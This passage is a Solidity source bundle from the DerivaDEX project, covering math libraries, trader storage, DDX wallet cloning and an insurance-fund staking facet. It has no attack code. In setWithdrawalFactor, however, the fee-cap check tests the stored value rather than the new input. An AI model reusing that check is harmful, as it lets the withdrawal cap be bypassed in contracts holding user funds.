// Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath96 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add96(uint96 a, uint96 b) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub96(uint96 a, uint96 b) internal pure returns (uint96) { return sub96(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); uint96 c = a - b; return c; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /** * @title TraderDefs * @author DerivaDEX * * This library contains the common structs and enums pertaining to * traders. */ library TraderDefs { // Consists of trader attributes, including the DDX balance and // the onchain DDX wallet contract address struct Trader { uint96 ddxBalance; address ddxWalletContract; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { TraderDefs } from "../libs/defs/TraderDefs.sol"; import { IDDXWalletCloneable } from "../tokens/interfaces/IDDXWalletCloneable.sol"; library LibDiamondStorageTrader { struct DiamondStorageTrader { mapping(address => TraderDefs.Trader) traders; bool rewardCliff; IDDXWalletCloneable ddxWalletCloneable; } bytes32 constant DIAMOND_STORAGE_POSITION_TRADER = keccak256("diamond.standard.diamond.storage.DerivaDEX.Trader"); function diamondStorageTrader() internal pure returns (DiamondStorageTrader storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION_TRADER; assembly { ds_slot := position } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import { IDDX } from "./IDDX.sol"; interface IDDXWalletCloneable { function initialize( address _trader, IDDX _ddxToken, address _derivaDEX ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { IERC20 } from "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol"; import { LibClone } from "../../libs/LibClone.sol"; import { SafeMath96 } from "../../libs/SafeMath96.sol"; import { TraderDefs } from "../../libs/defs/TraderDefs.sol"; import { LibDiamondStorageDerivaDEX } from "../../storage/LibDiamondStorageDerivaDEX.sol"; import { LibDiamondStorageTrader } from "../../storage/LibDiamondStorageTrader.sol"; import { IDDX } from "../../tokens/interfaces/IDDX.sol"; import { IDDXWalletCloneable } from "../../tokens/interfaces/IDDXWalletCloneable.sol"; /** * @title TraderInternalLib * @author DerivaDEX * @notice This is a library of internal functions mainly defined in * the Trader facet, but used in other facets. */ library LibTraderInternal { using SafeMath96 for uint96; using SafeMath for uint256; using SafeERC20 for IERC20; event DDXRewardIssued(address trader, uint96 amount); /** * @notice This function creates a new DDX wallet for a trader. * @param _trader Trader address. */ function createDDXWallet(address _trader) internal { LibDiamondStorageTrader.DiamondStorageTrader storage dsTrader = LibDiamondStorageTrader.diamondStorageTrader(); // Leveraging the minimal proxy contract/clone factory pattern // as described here (https://eips.ethereum.org/EIPS/eip-1167) IDDXWalletCloneable ddxWallet = IDDXWalletCloneable(LibClone.createClone(address(dsTrader.ddxWalletCloneable))); LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); // Cloneable contracts have no constructor, so instead we use // an initialize function. This initialize delegates this // on-chain DDX wallet back to the trader and sets the allowance // for the DerivaDEX Proxy contract to be unlimited. ddxWallet.initialize(_trader, dsDerivaDEX.ddxToken, address(this)); // Store the on-chain wallet address in the trader's storage dsTrader.traders[_trader].ddxWalletContract = address(ddxWallet); } /** * @notice This function issues DDX rewards to a trader. It can be * called by any facet part of the diamond. * @param _amount DDX tokens to be rewarded. * @param _trader Trader address. */ function issueDDXReward(uint96 _amount, address _trader) internal { LibDiamondStorageTrader.DiamondStorageTrader storage dsTrader = LibDiamondStorageTrader.diamondStorageTrader(); TraderDefs.Trader storage trader = dsTrader.traders[_trader]; // If trader does not have a DDX on-chain wallet yet, create one if (trader.ddxWalletContract == address(0)) { createDDXWallet(_trader); } LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); // Add trader's DDX balance in the contract trader.ddxBalance = trader.ddxBalance.add96(_amount); // Transfer DDX from trader to trader's on-chain wallet dsDerivaDEX.ddxToken.mint(trader.ddxWalletContract, _amount); emit DDXRewardIssued(_trader, _amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly library LibClone { function createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and(eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))) } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { Math } from "openzeppelin-solidity/contracts/math/Math.sol"; import { IERC20 } from "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol"; import { SafeMath32 } from "../../libs/SafeMath32.sol"; import { SafeMath96 } from "../../libs/SafeMath96.sol"; import { MathHelpers } from "../../libs/MathHelpers.sol"; import { InsuranceFundDefs } from "../../libs/defs/InsuranceFundDefs.sol"; import { LibDiamondStorageDerivaDEX } from "../../storage/LibDiamondStorageDerivaDEX.sol"; import { LibDiamondStorageInsuranceFund } from "../../storage/LibDiamondStorageInsuranceFund.sol"; import { LibDiamondStorageTrader } from "../../storage/LibDiamondStorageTrader.sol"; import { LibDiamondStoragePause } from "../../storage/LibDiamondStoragePause.sol"; import { IDDX } from "../../tokens/interfaces/IDDX.sol"; import { LibTraderInternal } from "../trader/LibTraderInternal.sol"; import { IAToken } from "../interfaces/IAToken.sol"; import { IComptroller } from "../interfaces/IComptroller.sol"; import { ICToken } from "../interfaces/ICToken.sol"; import { IDIFundToken } from "../../tokens/interfaces/IDIFundToken.sol"; import { IDIFundTokenFactory } from "../../tokens/interfaces/IDIFundTokenFactory.sol"; interface IERCCustom { function decimals() external view returns (uint8); } /** * @title InsuranceFund * @author DerivaDEX * @notice This is a facet to the DerivaDEX proxy contract that handles * the logic pertaining to insurance mining - staking directly * into the insurance fund and receiving a DDX issuance to be * used in governance/operations. * @dev This facet at the moment only handles insurance mining. It can * and will grow to handle the remaining functions of the insurance * fund, such as receiving quote-denominated fees and liquidation * spreads, among others. The Diamond storage will only be * affected when facet functions are called via the proxy * contract, no checks are necessary. */ contract InsuranceFund { using SafeMath32 for uint32; using SafeMath96 for uint96; using SafeMath for uint96; using SafeMath for uint256; using MathHelpers for uint32; using MathHelpers for uint96; using MathHelpers for uint224; using MathHelpers for uint256; using SafeERC20 for IERC20; // Compound-related constant variables // kovan: 0x5eAe89DC1C671724A672ff0630122ee834098657 IComptroller public constant COMPTROLLER = IComptroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); // kovan: 0x61460874a7196d6a22D1eE4922473664b3E95270 IERC20 public constant COMP_TOKEN = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888); event InsuranceFundInitialized( uint32 interval, uint32 withdrawalFactor, uint96 mineRatePerBlock, uint96 advanceIntervalReward, uint256 miningFinalBlockNumber ); event InsuranceFundCollateralAdded( bytes32 collateralName, address underlyingToken, address collateralToken, InsuranceFundDefs.Flavor flavor ); event StakedToInsuranceFund(address staker, uint96 amount, bytes32 collateralName); event WithdrawnFromInsuranceFund(address withdrawer, uint96 amount, bytes32 collateralName); event AdvancedOtherRewards(address intervalAdvancer, uint96 advanceReward); event InsuranceMineRewardsClaimed(address claimant, uint96 minedAmount); event MineRatePerBlockSet(uint96 mineRatePerBlock); event AdvanceIntervalRewardSet(uint96 advanceIntervalReward); event WithdrawalFactorSet(uint32 withdrawalFactor); event InsuranceMiningExtended(uint256 miningFinalBlockNumber); /** * @notice Limits functions to only be called via governance. */ modifier onlyAdmin { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); require(msg.sender == dsDerivaDEX.admin, "IFund: must be called by Gov."); _; } /** * @notice Limits functions to only be called while insurance * mining is ongoing. */ modifier insuranceMiningOngoing { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); require(block.number < dsInsuranceFund.miningFinalBlockNumber, "IFund: mining ended."); _; } /** * @notice Limits functions to only be called while other * rewards checkpointing is ongoing. */ modifier otherRewardsOngoing { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); require( dsInsuranceFund.otherRewardsCheckpointBlock < dsInsuranceFund.miningFinalBlockNumber, "IFund: other rewards checkpointing ended." ); _; } /** * @notice Limits functions to only be called via governance. */ modifier isNotPaused { LibDiamondStoragePause.DiamondStoragePause storage dsPause = LibDiamondStoragePause.diamondStoragePause(); require(!dsPause.isPaused, "IFund: paused."); _; } /** * @notice This function initializes the state with some critical * information. This can only be called via governance. * @dev This function is best called as a parameter to the * diamond cut function. This is removed prior to the selectors * being added to the diamond, meaning it cannot be called * again. * @param _interval The interval length (blocks) for other rewards * claiming checkpoints (i.e. COMP and extra aTokens). * @param _withdrawalFactor Specifies the withdrawal fee if users * redeem their insurance tokens. * @param _mineRatePerBlock The DDX tokens to be mined each interval * for insurance mining. * @param _advanceIntervalReward DDX reward for participant who * advances the insurance mining interval. * @param _insuranceMiningLength Insurance mining length (blocks). */ function initialize( uint32 _interval, uint32 _withdrawalFactor, uint96 _mineRatePerBlock, uint96 _advanceIntervalReward, uint256 _insuranceMiningLength, IDIFundTokenFactory _diFundTokenFactory ) external onlyAdmin { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // Set the interval for other rewards claiming checkpoints // (i.e. COMP and aTokens that accrue to the contract) // (e.g. 40320 ~ 1 week = 7 * 24 * 60 * 60 / 15 blocks) dsInsuranceFund.interval = _interval; // Keep track of the block number for other rewards checkpoint, // which is initialized to the block number the insurance fund // facet is added to the diamond dsInsuranceFund.otherRewardsCheckpointBlock = block.number; // Set the withdrawal factor, capped at 1000, implying 0% fee require(_withdrawalFactor <= 1000, "IFund: withdrawal fee too high."); // Set withdrawal ratio, which will be used with a 1e3 scaling // factor, meaning a value of 995 implies a withdrawal fee of // 0.5% since 995/1e3 => 0.995 dsInsuranceFund.withdrawalFactor = _withdrawalFactor; // Set the insurance mine rate per block. // (e.g. 1.189e18 ~ 5% liquidity mine (50mm tokens)) dsInsuranceFund.mineRatePerBlock = _mineRatePerBlock; // Incentive to advance the other rewards interval // (e.g. 100e18 = 100 DDX) dsInsuranceFund.advanceIntervalReward = _advanceIntervalReward; // Set the final block number for insurance mining dsInsuranceFund.miningFinalBlockNumber = block.number.add(_insuranceMiningLength); // DIFundToken factory to deploy DerivaDEX Insurance Fund token // contracts pertaining to each supported collateral dsInsuranceFund.diFundTokenFactory = _diFundTokenFactory; // Initialize the DDX market state index and block. These values // are critical for computing the DDX continuously issued per // block dsInsuranceFund.ddxMarketState.index = 1e36; dsInsuranceFund.ddxMarketState.block = block.number.safe32("IFund: exceeds 32 bits"); emit InsuranceFundInitialized( _interval, _withdrawalFactor, _mineRatePerBlock, _advanceIntervalReward, dsInsuranceFund.miningFinalBlockNumber ); } /** * @notice This function sets the DDX mine rate per block. * @param _mineRatePerBlock The DDX tokens mine rate per block. */ function setMineRatePerBlock(uint96 _mineRatePerBlock) external onlyAdmin insuranceMiningOngoing isNotPaused { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // NOTE(jalextowle): We must update the DDX Market State prior to // changing the mine rate per block in order to lock in earned rewards // for insurance mining participants. updateDDXMarketState(dsInsuranceFund); require(_mineRatePerBlock != dsInsuranceFund.mineRatePerBlock, "IFund: same as current value."); // Set the insurance mine rate per block. // (e.g. 1.189e18 ~ 5% liquidity mine (50mm tokens)) dsInsuranceFund.mineRatePerBlock = _mineRatePerBlock; emit MineRatePerBlockSet(_mineRatePerBlock); } /** * @notice This function sets the advance interval reward. * @param _advanceIntervalReward DDX reward for advancing interval. */ function setAdvanceIntervalReward(uint96 _advanceIntervalReward) external onlyAdmin insuranceMiningOngoing isNotPaused { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); require(_advanceIntervalReward != dsInsuranceFund.advanceIntervalReward, "IFund: same as current value."); // Set the advance interval reward dsInsuranceFund.advanceIntervalReward = _advanceIntervalReward; emit AdvanceIntervalRewardSet(_advanceIntervalReward); } /** * @notice This function sets the withdrawal factor. * @param _withdrawalFactor Withdrawal factor. */ function setWithdrawalFactor(uint32 _withdrawalFactor) external onlyAdmin insuranceMiningOngoing isNotPaused { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); require(_withdrawalFactor != dsInsuranceFund.withdrawalFactor, "IFund: same as current value."); // Set the withdrawal factor, capped at 1000, implying 0% fee require(dsInsuranceFund.withdrawalFactor <= 1000, "IFund: withdrawal fee too high."); dsInsuranceFund.withdrawalFactor = _withdrawalFactor; emit WithdrawalFactorSet(_withdrawalFactor); } /** * @notice This function extends insurance mining. * @param _insuranceMiningExtension Insurance mining extension * (blocks). */ function extendInsuranceMining(uint256 _insuranceMiningExtension) external onlyAdmin insuranceMiningOngoing isNotPaused { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); require(_insuranceMiningExtension != 0, "IFund: invalid extension."); // Extend the mining final block number dsInsuranceFund.miningFinalBlockNumber = dsInsuranceFund.miningFinalBlockNumber.add(_insuranceMiningExtension); emit InsuranceMiningExtended(dsInsuranceFund.miningFinalBlockNumber); } /** * @notice This function adds a new supported collateral type that * can be staked to the insurance fund. It can only * be called via governance. * @dev For vanilla contracts (e.g. USDT, USDC, etc.), the * underlying token equals address(0). * @param _collateralName Name of collateral. * @param _collateralSymbol Symbol of collateral. * @param _underlyingToken Deployed address of underlying token. * @param _collateralToken Deployed address of collateral token. * @param _flavor Collateral flavor (Vanilla, Compound, Aave, etc.). */ function addInsuranceFundCollateral( string memory _collateralName, string memory _collateralSymbol, address _underlyingToken, address _collateralToken, InsuranceFundDefs.Flavor _flavor ) external onlyAdmin insuranceMiningOngoing isNotPaused { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // Obtain bytes32 representation of collateral name bytes32 result; assembly { result := mload(add(_collateralName, 32)) } // Ensure collateral has not already been added require( dsInsuranceFund.stakeCollaterals[result].collateralToken == address(0), "IFund: collateral already added." ); require(_collateralToken != address(0), "IFund: collateral address must be non-zero."); require(!isCollateralTokenPresent(_collateralToken), "IFund: collateral token already present."); require(_underlyingToken != _collateralToken, "IFund: token addresses are same."); if (_flavor == InsuranceFundDefs.Flavor.Vanilla) { // If collateral is of vanilla flavor, there should only be // a value for collateral token, and underlying token should // be empty require(_underlyingToken == address(0), "IFund: underlying address non-zero for Vanilla."); } // Add collateral type to storage, including its underlying // token and collateral token addresses, and its flavor dsInsuranceFund.stakeCollaterals[result].underlyingToken = _underlyingToken; dsInsuranceFund.stakeCollaterals[result].collateralToken = _collateralToken; dsInsuranceFund.stakeCollaterals[result].flavor = _flavor; // Create a DerivaDEX Insurance Fund token contract associated // with this supported collateral dsInsuranceFund.stakeCollaterals[result].diFundToken = IDIFundToken( dsInsuranceFund.diFundTokenFactory.createNewDIFundToken( _collateralName, _collateralSymbol, IERCCustom(_collateralToken).decimals() ) ); dsInsuranceFund.collateralNames.push(result); emit InsuranceFundCollateralAdded(result, _underlyingToken, _collateralToken, _flavor); } /** * @notice This function allows participants to stake a supported * collateral type to the insurance fund. * @param _collateralName Name of collateral. * @param _amount Amount to stake. */ function stakeToInsuranceFund(bytes32 _collateralName, uint96 _amount) external insuranceMiningOngoing isNotPaused { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // Obtain the collateral struct for the collateral type // participant is staking InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[_collateralName]; // Ensure this is a supported collateral type and that the user // has approved the proxy contract for transfer require(stakeCollateral.collateralToken != address(0), "IFund: invalid collateral."); // Ensure non-zero stake amount require(_amount > 0, "IFund: non-zero amount."); // Claim DDX for staking user. We do this prior to the stake // taking effect, thereby preventing someone from being rewarded // instantly for the stake. claimDDXFromInsuranceMining(msg.sender); // Increment the underlying capitalization stakeCollateral.cap = stakeCollateral.cap.add96(_amount); // Transfer collateral amount from user to proxy contract IERC20(stakeCollateral.collateralToken).safeTransferFrom(msg.sender, address(this), _amount); // Mint DIFund tokens to user stakeCollateral.diFundToken.mint(msg.sender, _amount); emit StakedToInsuranceFund(msg.sender, _amount, _collateralName); } /** * @notice This function allows participants to withdraw a supported * collateral type from the insurance fund. * @param _collateralName Name of collateral. * @param _amount Amount to stake. */ function withdrawFromInsuranceFund(bytes32 _collateralName, uint96 _amount) external isNotPaused { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // Obtain the collateral struct for the collateral type // participant is staking InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[_collateralName]; // Ensure this is a supported collateral type and that the user // has approved the proxy contract for transfer require(stakeCollateral.collateralToken != address(0), "IFund: invalid collateral."); // Ensure non-zero withdraw amount require(_amount > 0, "IFund: non-zero amount."); // Claim DDX for withdrawing user. We do this prior to the // redeem taking effect. claimDDXFromInsuranceMining(msg.sender); // Determine underlying to transfer based on how much underlying // can be redeemed given the current underlying capitalization // and how many DIFund tokens are globally available. This // theoretically fails in the scenario where globally there are // 0 insurance fund tokens, however that would mean the user // also has 0 tokens in their possession, and thus would have // nothing to be redeemed anyways. uint96 underlyingToTransferNoFee = _amount.proportion96(stakeCollateral.cap, stakeCollateral.diFundToken.totalSupply()); uint96 underlyingToTransfer = underlyingToTransferNoFee.proportion96(dsInsuranceFund.withdrawalFactor, 1e3); // Decrement the capitalization stakeCollateral.cap = stakeCollateral.cap.sub96(underlyingToTransferNoFee); // Increment the withdrawal fee cap stakeCollateral.withdrawalFeeCap = stakeCollateral.withdrawalFeeCap.add96( underlyingToTransferNoFee.sub96(underlyingToTransfer) ); // Transfer collateral amount from proxy contract to user IERC20(stakeCollateral.collateralToken).safeTransfer(msg.sender, underlyingToTransfer); // Burn DIFund tokens being redeemed from user stakeCollateral.diFundToken.burnFrom(msg.sender, _amount); emit WithdrawnFromInsuranceFund(msg.sender, _amount, _collateralName); } /** * @notice Advance other rewards interval */ function advanceOtherRewardsInterval() external otherRewardsOngoing isNotPaused { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // Check if the current block has exceeded the interval bounds, // allowing for a new other rewards interval to be checkpointed require( block.number >= dsInsuranceFund.otherRewardsCheckpointBlock.add(dsInsuranceFund.interval), "IFund: advance too soon." ); // Maintain the USD-denominated sum of all Compound-flavor // assets. This needs to be stored separately than the rest // due to the way COMP tokens are rewarded to the contract in // order to properly disseminate to the user. uint96 normalizedCapCheckpointSumCompound; // Loop through each of the supported collateral types for (uint256 i = 0; i < dsInsuranceFund.collateralNames.length; i++) { // Obtain collateral struct under consideration InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[dsInsuranceFund.collateralNames[i]]; if (stakeCollateral.flavor == InsuranceFundDefs.Flavor.Compound) { // If collateral is of type Compound, set the exchange // rate at this point in time. We do this so later on, // when claiming rewards, we know the exchange rate // checkpointed balances should be converted to // determine the USD-denominated value of holdings // needed to compute fair share of DDX rewards. stakeCollateral.exchangeRate = ICToken(stakeCollateral.collateralToken).exchangeRateStored().safe96( "IFund: amount exceeds 96 bits" ); // Set checkpoint cap for this Compound flavor // collateral to handle COMP distribution lookbacks stakeCollateral.checkpointCap = stakeCollateral.cap; // Increment the normalized Compound checkpoint cap // with the USD-denominated value normalizedCapCheckpointSumCompound = normalizedCapCheckpointSumCompound.add96( getUnderlyingTokenAmountForCompound(stakeCollateral.cap, stakeCollateral.exchangeRate) ); } else if (stakeCollateral.flavor == InsuranceFundDefs.Flavor.Aave) { // If collateral is of type Aave, we need to do some // custom Aave aToken reward distribution. We first // determine the contract's aToken balance for this // collateral type and subtract the underlying // aToken capitalization that are due to users. This // leaves us with the excess that has been rewarded // to the contract due to Aave's mechanisms, but // belong to the users. uint96 myATokenBalance = uint96(IAToken(stakeCollateral.collateralToken).balanceOf(address(this)).sub(stakeCollateral.cap)); // Store the aToken yield information dsInsuranceFund.aTokenYields[dsInsuranceFund.collateralNames[i]] = InsuranceFundDefs .ExternalYieldCheckpoint({ accrued: myATokenBalance, totalNormalizedCap: 0 }); } } // Ensure that the normalized cap sum is non-zero if (normalizedCapCheckpointSumCompound > 0) { // If there's Compound-type asset capitalization in the // system, claim COMP accrued to this contract. This COMP is // a result of holding all the cToken deposits from users. // We claim COMP via Compound's Comptroller contract. COMPTROLLER.claimComp(address(this)); // Obtain contract's balance of COMP uint96 myCompBalance = COMP_TOKEN.balanceOf(address(this)).safe96("IFund: amount exceeds 96 bits."); // Store the updated value as the checkpointed COMP yield owed // for this interval dsInsuranceFund.compYields = InsuranceFundDefs.ExternalYieldCheckpoint({ accrued: myCompBalance, totalNormalizedCap: normalizedCapCheckpointSumCompound }); } // Set other rewards checkpoint block to current block dsInsuranceFund.otherRewardsCheckpointBlock = block.number; // Issue DDX reward to trader's on-chain DDX wallet as an // incentive to users calling this function LibTraderInternal.issueDDXReward(dsInsuranceFund.advanceIntervalReward, msg.sender); emit AdvancedOtherRewards(msg.sender, dsInsuranceFund.advanceIntervalReward); } /** * @notice This function gets some high level insurance mining * details. * @return The interval length (blocks) for other rewards * claiming checkpoints (i.e. COMP and extra aTokens). * @return Current insurance mine withdrawal factor. * @return DDX reward for advancing interval. * @return Total global insurance mined amount in DDX. * @return Current insurance mine rate per block. * @return Insurance mining final block number. * @return DDX market state used for continuous DDX payouts. * @return Supported collateral names supported. */ function getInsuranceMineInfo() external view returns ( uint32, uint32, uint96, uint96, uint96, uint256, InsuranceFundDefs.DDXMarketState memory, bytes32[] memory ) { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); return ( dsInsuranceFund.interval, dsInsuranceFund.withdrawalFactor, dsInsuranceFund.advanceIntervalReward, dsInsuranceFund.minedAmount, dsInsuranceFund.mineRatePerBlock, dsInsuranceFund.miningFinalBlockNumber, dsInsuranceFund.ddxMarketState, dsInsuranceFund.collateralNames ); } /** * @notice This function gets the current claimant state for a user. * @param _claimant Claimant address. * @return Claimant state. */ function getDDXClaimantState(address _claimant) external view returns 